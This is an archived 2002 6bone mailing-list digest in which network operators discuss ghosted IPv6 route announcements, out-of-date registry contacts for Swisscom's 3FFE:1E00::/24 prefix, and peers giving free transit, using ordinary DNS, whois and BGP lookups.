> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From Martin.Gysi@swisscom.com Tue Dec  3 06:13:57 2002
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Thread-Topic: 6bone ghost for 3FFE:1E00::/24 and nothing working found
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                       FILETIME=[3205E080:01C29AD6]
Subject: [6bone] 6bone ghost for 3FFE:1E00::/24 and nothing working found
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Hi Jeroen, Hirotaka and all...
=20
You're quite right that none of these applications (ping...) work, =
neither is the route in use. We used this address block quite a few =
years ago for first tests on IPv6, but the infrastructure was shut down =
after that. I am currently working on re-establishing this network, but =
it takes a while to get into everything required for this. We have =
bought some new servers that this time should be here to stay, and I =
hope that we will be up and running by the end of this year. Please =
contact me (martin.gysiATswisscom.com) or =
michael.schaedlerATswisscom.com for anything regarding this, as Andr=E9 =
Prim (prim_aATvptt.ch) is now longer active in this domain. By the way, =
I do wonder as well who yoco22AThotmail.com might be...
=20
Greets
=20
Martin Gysi
=20
=20
=20
-----Original Message-----
From: Jeroen Massar [mailto:jeroen@unfix.org]=20
Sent: Saturday, November 30, 2002 9:45 PM
To: prim_a@vptt.ch; yoco22@hotmail.com
Cc: 'David Kessens'; 'Bob Fink'
Subject: 6bone ghost for 3FFE:1E00::/24 and nothing working found
=20
=20
Hi,
=20
While hunting for ghost routes with our new tool
called Ghost Route Hunter (GRH) we found out that
your prefix is ghosted.
=20
The result of GRH can be found at: https://www.sixxs.net/tools/grh/
=20
Currently your prefix is being announced by:
aut-num: AS4697 =20
as-name: NTTV6NET
Even though your AS is AS3303 and that is a japanese AS.
=20
We also noticed quite a couple of oddities related
to your 6bone object and wonder if it still exists.
=20
- contact HP1-6BONE doesn't exist.
- contact HP1-6BONE has a hotmail address and is mainained by =
COMPENDIUM-AR.
- contact AP148-RIPE is ripe.
=20
- pinghosts in the 6bone registry don't resolve:
application: ping gdvipv6.ctv6.vptt.ch =20
application: ping aldebaran6.ctv6.vptt.ch =20
application: ping deneb6.vptt.ch =20
=20
$ host -t aaaa gdvipv6.ctv6.vptt.ch
gdvipv6.ctv6.vptt.ch does not exist (Authoritative answer)
$ host -t aaaa aldebaran6.ctv6.vptt.ch
aldebaran6.ctv6.vptt.ch does not exist (Authoritative answer)
$ host -t aaaa deneb6.vptt.ch
deneb6.vptt.ch does not exist (Authoritative answer)
=20
- tunnel endpoints in the 6bone registry don't resolve:
tunnel: IPv6 in IPv4 gdvipv6.ctv6.vptt.ch -> router2-0.att.ch =
ATT-LABS-EUROPE BGP4+ =20
tunnel: IPv6 in IPv4 gdvipv6.ctlabs.ch -> router2-0.att.ch =
ATT-LABS-EUROPE BGP4+ =20
tunnel: IPv6 in IPv4 gdvipv6.ctlabs.ch -> vboipv6rtr.europe.digital.com =
DIGITAL-ETC BGP4+=20
=20
$ host -t a gdvipv6.ctv6.vptt.ch
gdvipv6.ctv6.vptt.ch does not exist, try again
$ host -t aaaa gdvipv6.ctv6.vptt.ch
gdvipv6.ctv6.vptt.ch does not exist, try again
$ host -t aaaa gdvipv6.vptt.ch
gdvipv6.vptt.ch does not exist (Authoritative answer)
=20
And the remote sides don't even resolve either.
=20
Is there any information about this situation and are you going to fix =
it?
=20
Greets,
 Jeroen
=20
=20
=20

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<span class=3DSpellE>Jeroen</span>, <span class=3DSpellE>Hirotaka</span> =
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style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>You&#8217;re
quite right that none of these applications (ping&#8230;) work, neither =
is the
route in use. We used this address block quite a few years ago for first =
tests
on IPv6, but the infrastructure was shut down after that. I am currently
working on re-establishing this network, but it takes a while to get =
into
everything required for this. We have bought some new servers that this =
time should
be here to stay, and I hope that we will be up and running by the end of =
this
year. Please contact me (martin.gysiATswisscom.com) or =
michael.schaedlerATswisscom.com
for anything regarding this, as Andr=E9 Prim (prim_aATvptt.ch) is now =
longer
active in this domain. By the way, I do wonder as well who =
yoco22AThotmail.com
might be&#8230;<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'>Greets<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Martin
Gysi<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>-----Original
Message-----<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>From:
<span class=3DSpellE>Jeroen</span> <span class=3DSpellE>Massar</span> =
[<a
href=3D"mailto:jeroen@unfix.org">mailto:jeroen@unfix.org</a>] =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Sent:
</span></font><st1:date Month=3D"11" Day=3D"30" Year=3D"2002"><font =
size=3D2
 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Saturday,
 November 30, 2002</span></font></st1:date><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier New"'> =
</span></font><st1:time
Hour=3D"21" Minute=3D"45"><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
 10.0pt;font-family:"Courier New"'>9:45 PM</span></font></st1:time><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>To:
prim_a@vptt.ch; yoco22@hotmail.com<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Cc:
'David <span class=3DSpellE>Kessens</span>'; 'Bob =
Fink'<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Subject:
6bone ghost for 3FFE:1E00:<span class=3DGramE>:/</span>24 and nothing =
working
found<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'>Hi,<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>While
hunting for ghost routes with our new tool<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>called</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
Ghost Route Hunter (GRH) we found out that<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>your</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
prefix is ghosted.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>The
result of GRH can be found at: <a =
href=3D"https://www.sixxs.net/tools/grh/">https://www.sixxs.net/tools/grh=
/</a><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Currently
your prefix is being announced by:<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DSpellE><span class=3DGramE><font size=3D2 face=3D"Courier =
New"><span
style=3D'font-size:10.0pt;font-family:"Courier =
New"'>aut</span></font></span></span><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>-num</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
AS4697<span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>as-name</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
NTTV6NET<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Even
though <span class=3DGramE>your</span> AS is AS3303 and that is a <span
class=3DSpellE>japanese</span> AS.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>We
also noticed quite a couple of oddities =
related<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>to</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
your 6bone object and wonder if it still =
exists.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>-
<span class=3DGramE>contact</span> HP1-6BONE doesn't =
exist.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>-
<span class=3DGramE>contact</span> HP1-6BONE has a hotmail address and =
is <span
class=3DSpellE>mainained</span> by =
COMPENDIUM-AR.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>-
<span class=3DGramE>contact</span> AP148-RIPE is =
ripe.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>-
<span class=3DSpellE><span class=3DGramE>pinghosts</span></span> in the =
6bone
registry don't resolve:<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>application</span></font></span><font =
size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
ping gdvipv6.ctv6.vptt.ch<span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>application</span></font></span><font =
size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
ping aldebaran6.ctv6.vptt.ch<span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>application</span></font></span><font =
size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
ping deneb6.vptt.ch<span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>$
<span class=3DGramE>host</span> -t <span class=3DSpellE>aaaa</span>
gdvipv6.ctv6.vptt.ch<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier =
New"'>gdvipv6.ctv6.vptt.ch</span></font></span><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
does not exist (Authoritative answer)<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span lang=3DDE-CH =
style=3D'font-size:10.0pt;font-family:
"Courier New";mso-ansi-language:DE-CH'>$ <span =
class=3DSpellE>host</span> -t <span
class=3DSpellE>aaaa</span> =
aldebaran6.ctv6.vptt.ch<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier =
New"'>aldebaran6.ctv6.vptt.ch</span></font></span><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
does not exist (Authoritative answer)<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span lang=3DDE-CH =
style=3D'font-size:10.0pt;font-family:
"Courier New";mso-ansi-language:DE-CH'>$ <span =
class=3DSpellE>host</span> -t <span
class=3DSpellE>aaaa</span> deneb6.vptt.ch<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>deneb6.vptt.ch</span></font></span><font =
size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
does not exist (Authoritative answer)<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>-
<span class=3DGramE>tunnel</span> endpoints in the 6bone registry don't =
resolve:<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>tunnel</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
IPv6 in IPv4 gdvipv6.ctv6.vptt.ch -&gt; router2-0.att.ch ATT-LABS-EUROPE
BGP4+<span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>tunnel</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
IPv6 in IPv4 gdvipv6.ctlabs.ch -&gt; router2-0.att.ch ATT-LABS-EUROPE
BGP4+<span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>tunnel</span></font></span><font size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>:
IPv6 in IPv4 gdvipv6.ctlabs.ch -&gt; vboipv6rtr.europe.digital.com =
DIGITAL-ETC
BGP4+ <o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>$
<span class=3DGramE>host</span> -t a =
gdvipv6.ctv6.vptt.ch<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier =
New"'>gdvipv6.ctv6.vptt.ch</span></font></span><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
does not exist, try again<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>$
<span class=3DGramE>host</span> -t <span class=3DSpellE>aaaa</span>
gdvipv6.ctv6.vptt.ch<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier =
New"'>gdvipv6.ctv6.vptt.ch</span></font></span><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
does not exist, try again<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span lang=3DDE-CH =
style=3D'font-size:10.0pt;font-family:
"Courier New";mso-ansi-language:DE-CH'>$ <span =
class=3DSpellE>host</span> -t <span
class=3DSpellE>aaaa</span> gdvipv6.vptt.ch<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><span
class=3DGramE><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
font-family:"Courier New"'>gdvipv6.vptt.ch</span></font></span><font =
size=3D2
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>
does not exist (Authoritative answer)<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>And
the remote sides don't even resolve either.<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'>Is
there any information about this situation and are you going to fix =
it?<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'>Greets,<o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New"'><span
style=3D'mso-spacerun:yes'>=A0</span><span =
class=3DSpellE>Jeroen</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'mso-layout-grid-align:none;text-autospace:none'><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>
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From hgoes@eu.uu.net Tue Dec  3 06:15:21 2002
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Date: Tue, 3 Dec 2002 14:15:05 +0000 (GMT)
From: Hans Goes <hgoes@eu.uu.net>
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Subject: [6bone] free transit
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Hi,

While we are moving from our old router (in AS1890) to our new router (in
AS12702) we also limit the amount of prefixes we receive of our peers.

But..... Why is almost every peer giving free transit to everyone ?

Most peers of us give us more than 300 prefixes. I don't get this.

If we want to move on with ipv6 everyone needs to check their
access-lists/prefix-lists to limit this.

We already shutdown our far away peers to south-america because they don't
make sense. I guess everyone must think about this.
South-America peers can connect to America providers instead of Europe...

Hans



WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
http://www.wcom.com/nl/


From sb@rdns.de Tue Dec  3 06:34:27 2002
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Subject: [6bone] 3ffe:3400::/24 / IPF/DE
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Hi!

just found 3ffe:3400::/24 in the pTLA list.

>whois -h whois.6bone.net IPF

no match for "!IPF"

>sh bgp 3ffe:3400::/24
% Network not in table

looks strange. any comments? ;-)

-- 
best regards,
Sascha Bielski                          mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From jeroen@unfix.org Tue Dec  3 06:40:48 2002
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To: <Martin.Gysi@swisscom.com>, <matsuoka@syce.net>, <6bone@mailman.isi.edu>,
   <v6ops@ops.ietf.org>
Cc: "'Helpdesk IP-Plus'" <helpdesk@ip-plus.net>, <noc@ip-plus.net>
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Subject: [6bone] RE: 6bone ghost for 3FFE:1E00::/24 and nothing working found
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Martin.Gysi@swisscom.com [mailto:Martin.Gysi@swisscom.com] wrote:

> Hi Jeroen, Hirotaka and all…
 
> You’re quite right that none of these applications (ping…) work,
neither is the route in use.

But it is currently lingering around the internet: 3ffe:1e00::/24 (10
ghosted paths)
Do you have any indications since when the prefix announcements stopped?

> We used this address block quite a few years ago for first tests on
IPv6, but the
> infrastructure was shut down after that. I am currently working on
re-establishing this network,
> but it takes a while to get into everything required for this. We have
bought some new servers
> that this time should be here to stay, and I hope that we will be up
and running by the end of
> this year. Please contact me (martin.gysiATswisscom.com) or
michael.schaedlerATswisscom.com for
> anything regarding this, as André Prim (prim_aATvptt.ch) is now longer
active in this domain.

Update this in the 6bone whois database, that's the place to look for
these informations.

> By the way, I do wonder as well who yoco22AThotmail.com might be…

Clean up the 6bone registry, one 6bone site should be enough per prefix.
And ofcourse add maintainers to them.

I also hope that the helpdesk@ip-plus.net learn that they are in the
whois entry for AS3303.
Just in case that they don't know how that works:

8<-------------
$ whois -h whois.ripe.net AS3303

aut-num:      AS3303
as-name:      SWISSCOM
descr:        Swisscom Enterprise Solutions Ltd
descr:        IP-Plus Internet Backbone
descr:
descr:
==================================================================
====
descr:
descr:        Peering requests       peering@ip-plus.net
descr:        Operational issues     helpdesk@ip-plus.net
descr:        Spam and abuse issues  abuse@ip-plus.net
descr:        Other info             http://www.ip-plus.net
descr:
descr:
==================================================================
====

------------->8

Apparently, especially due to really odd mails like:

> First, we are a helpdesk for IP-Plus customers.
> Second,  if we get mails like the one of you we need to have more
information about what is meant.
> Third, IPv6 is not yet running - it's IPv4.
> Fourth, if you need any further information, please contact IEEE.
> 
> Thank you and good bye.

They don't care about their network and don't know who does what in
their company.
And why does the AS3303 object say that address is for "Operational
Issues" when
they can't respond in a normal fashion to outside persons.
What if they are causing huge BGP leaks (or ghost paths like they are
doing now)
Do they reply with "You are not a customer so go away" ?
This leaves to wonder... and what IEEE has to do with it :)
A rather odd attitude these people have.

Greets,
 Jeroen
 
-----Original Message-----
From: Jeroen Massar [mailto:jeroen@unfix.org] 
Sent: Saturday, November 30, 2002 9:45 PM
To: prim_a@vptt.ch; yoco22@hotmail.com
Cc: 'David Kessens'; 'Bob Fink'
Subject: 6bone ghost for 3FFE:1E00::/24 and nothing working found
 
 
Hi,
 
While hunting for ghost routes with our new tool
called Ghost Route Hunter (GRH) we found out that
your prefix is ghosted.
 
The result of GRH can be found at: https://www.sixxs.net/tools/grh/
 
Currently your prefix is being announced by:
aut-num: AS4697  
as-name: NTTV6NET
Even though your AS is AS3303 and that is a japanese AS.
 
We also noticed quite a couple of oddities related
to your 6bone object and wonder if it still exists.
 
- contact HP1-6BONE doesn't exist.
- contact HP1-6BONE has a hotmail address and is mainained by
COMPENDIUM-AR.
- contact AP148-RIPE is ripe.
 
- pinghosts in the 6bone registry don't resolve:
